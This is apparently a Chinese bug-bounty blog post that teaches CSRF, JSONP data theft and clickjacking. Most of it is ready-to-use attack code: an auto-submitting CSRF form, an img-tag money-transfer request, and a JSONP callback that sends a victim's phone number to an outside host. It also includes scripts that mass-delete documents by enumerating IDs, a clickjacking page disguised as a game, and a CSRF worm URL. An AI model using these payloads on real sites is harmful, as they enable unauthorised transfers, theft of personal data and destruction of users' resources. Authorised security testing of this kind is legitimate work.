SRC-CSRF

作者:xiaowu 日期: 分类:xiaowu 浏览:923

CSFR

同源校验

domain=*.qq.com

所有.qq.com的顶级域名放行,也就是只有来自*站点的调用才会执行接口

可跨域的HTML标签

<script src=""></script>
<img src=""></img>
<iframe src=""></iframe>
window.open(url)


POST & GET

get

https://paypal.com/pay?sendto=xxxxx@qq.com&mount=100

通过此接口,实现利用用户cookie直接进行转账

将此接口用于<img scr="">标签中,将图片插入论坛等地,看见图片就自动运行接口,实现0clikc

post

post格式,在burp工具里生成poc

常见post型自动提交

  <!-- CSRF PoC - generated by Burp Suite Professional -->
 <body>
 <script>history.pushState('', '', '/')</script>
   <form action="https://example.com/" method="POST">
     <input type="hidden" name="screenName" value="xhjxhj" />
     <input type="hidden" name="url" value="" />
     <input type="hidden" name="mail" value="2452406729&#64;qq&#46;com" />
     <input type="hidden" name="do" value="profile" />
     <input id="csrf" type="submit" value="Submit request" />
   </form>
   <script>document.getElementById("csrf").click()</script>
 </body>
</html>

小技巧:当服务端用request接收数据,可把post改get

JSONP

客户端

<script>
   function  Jsonpxxxxcallback(data){
           console.log((data).phone);
   }
</script>
<script src="http://47.109.103.183?callback=Jsonpxxxxcallback"></script>

服务端

Jsonpxxxxcallback({"name":"dis","phone":"188000000"})

客户端的回调参数callBack调用函数Jsonpxxxxcallback,Jsonpxxxxcallback函数在js里定义,就是说,callBack调用Jsonpxxxxcallback函数处理服务端返回的数据

tips:服务端返回的是js代码

CSRF JSONP

在jsonp流程的基础上,我们可以使用请求服务端接口,构建自己的处理逻辑

jsonp数据外带

<script>
   function  Jsonpxxxxcallback(data){
        // 输出从服务器返回的数据中的 phone 字段到控制台
           console.log((data).phone);
           // 创建一个新的 <img> 元素
           var img = document.createElement('img');
           // 设置这个 <img> 元素的 src 属性,向服务器发起另一个请求
        img.src = "https://www.xiaowu5.cn/data?data="+((data).phone);
        // 将这个 <img> 元素添加到文档头部,实际上是触发了一个新的网络请求
        document.head.appendChild(img);
   }
</script>
<script src="http://47.109.103.183?callback=Jsonpxxxxcallback"></script>

参数枚举

当删除文档功能的接口为:

http://xxx.xxx.xxx.xxx/del?docid=10001

一个页面发送多个数据包,同时运行接口的参数,进行参数枚举

分两种情况

  1. 如果目标站点允许被外部站点img标签,script标签,link标签或iframe标签嵌入,且嵌入后仍然是登录态

利用img嵌入从10000到99999的payload 例:

<body>
<script>
   var t=0; // 初始化变量 t 为 0

   function sc() {
       t += 1; // 每次调用函数,t 值加 1
       if (t <= 9) { // 如果 t 的值小于等于 9,执行以下操作
           var temp = t * 10000; // 计算 temp 的值为 t * 10000
           var result = ((t + 1) * 10000 - 1); // 计算 result 的值为 (t + 1) * 10000 - 1
            // 构建一个 img 标签的字符串,src 属性使用了动态生成的 result

           var data = `<img src="http://csrf.bwp6b9.ceye.io/del?docid=${result}" onerror="sc()" onload="sc()">`;

           // 循环生成一系列的 img 标签
           for (var i = temp; i < result; i++) {
               data = `<img src="http://csrf.bwp6b9.ceye.io/del?docid=${i}">` + data; // 每次循环追加一个 img 标签到 data 变量
           }

           // 将生成的所有 img 标签插入到页面的 body 内容中
           document.body.innerHTML = data;
       }
   }

   // 初始调用 sc 函数,开始执行整个流程
   sc();
</script>
</body>

image-20240626232943440image.png

iframe请求枚举

<script>
// 定义一个函数,用于创建指定 id 的 iframe
function get_id(id) {
   var url = `https://example.com/?id=${id}`;  // 构造 URL,使用传入的 id
   var iframe = document.createElement('iframe');  // 创建一个 iframe 元素
   iframe.src = url;  // 设置 iframe 的 src 属性为构造好的 URL
   document.head.appendChild(iframe);  // 将 iframe 添加到文档头部
}

// 使用循环创建 100 个 iframe,id 分别从 400 到 499
for (var i = 0; i < 100; i++) {
   get_id(400 + i);  // 调用 get_id 函数,传入不同的 id 值
}
</script>

window.open(url)请求枚举

<script>
// 定义一个函数,用于打开指定 id 的 URL,并立即关闭窗口
function get_id(id) {
   var url = `https://example.com/?id=${id}`;
   var popup = window.open(url);  // 打开一个新窗口并获取其引用
   popup.close();  // 立即关闭新窗口
}

// 使用循环调用函数,打开 100 个不同 id 的 URL
for (var i = 0; i < 100; i++) {
   get_id(400 + i);  // 调用 get_id 函数,传入不同的 id 值
}
</script>

2.如果不允许嵌入或嵌入后非登录态,还可以使用window.open进行csrf,但是这种由于浏览器安全策略一般会弹出警告需要用户手动确认,所以不是所有的src都会收

// 初始化全局变量 t,用于生成递增的 id
var t = 10000;

// 定义函数 get_id,用于发送请求
function get_id(id) {
   // 构造请求的 URL
   var url = 'http://example.com?id=' + id;
   
   // 尝试打开新窗口并立即关闭,模拟发送请求的行为
   var d = window.open(url);
   d.close();
}

// 定义函数 poc,用于循环调用 get_id 发送请求
function poc() {
   // 每次循环生成一组 id,范围从 t 到 t+99
   for (var i = t; i < t + 100; i++) {
       get_id(i); // 发送请求
   }
   
   t += 100; // 更新 t 的值,准备下一组 id
}

// 修改当前页面的内容为一个带有事件处理器的 iframe 元素
document.body.innerHTML = '<iframe src="x" onerror="poc()" onload="poc()"></iframe>';

image-20240626234759705image.png

点击劫持

点击劫持的原理非常简单,就是将iframe引入的页面置于最顶层(可以理解为photoshop的图层),然后透明度设置为0%也就是完全透明,然后在这个透明的页面下定义恶意页面和按钮,诱导用户点击,当用户点击按钮的时候,其实实际操作的iframe引入的目标站点页面

<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>点击劫持 POC</title>
<style>
iframe {
width: 100%;
height: 100%;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: <?php echo $_GET['opa'];?>;
filter: alpha(opacity=0);
}
.step1 {
position: absolute;
top: 90%;
left: 90%;
z-index: 1;
width: 50px;
height: 25px;
}
.step2 {
position: absolute;
top: 51%;
left: 65%;
z-index: 1;
width: 50px;
height: 25px;
}
.test1{
position: absolute;
top: 51%;
left: 65%;
z-index: 1;
width: 50px;
height: 25px;
}
</style>
</head>
<body>
<div id="step1"></div>
<div id="step2"></div>
<script>
var sta=1;
var div1=document.getElementById("step1");
var div2=document.getElementById("step2");

function adde(divs,nums){
   divs.innerHTML="<button class=\"step"+nums+"\">step"+nums+"</button>";
}


function deld(divs){
   divs.remove();
}
function main(){
   var number=1;
setInterval(function(){
   eval("adde(div"+number+","+number+");");
   setTimeout("deld(div"+number+");",3000);
   number++;
},3000);
}
if(sta==1){
   setTimeout("main();",3000);
}
</script>
<iframe src="https://www.baidu.com/" scrolling="no" onload="alert('这是一个小游戏,你需要点击页面上出现的标签来体现你的反应力')"></iframe>
</body>
</html>

提高危险

1click csrf退出——>忽略

0click ——> 低

1click csrf转账 ——> 中

0click csrf转账 ——> 高


csrf常见功能点,以及csrf高风险功能点(可用于提高评分)

修改头像,修改个人信息,删除xxx资源,删除xxx物品,购买xxx物品,发布文章,发布评论,修改文章,修改评论

增删改


jsonp 涉及个人信息 (身份证,手机号,姓名,隐私文档)


csrf:支付,转账,账户修改密码,修改绑定微信qq微博手机号邮箱。。。。

CSRF蠕虫

http://example.com/submit?submit=<img src="http://example.com/submit?submit=......."



关键词:

网友评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。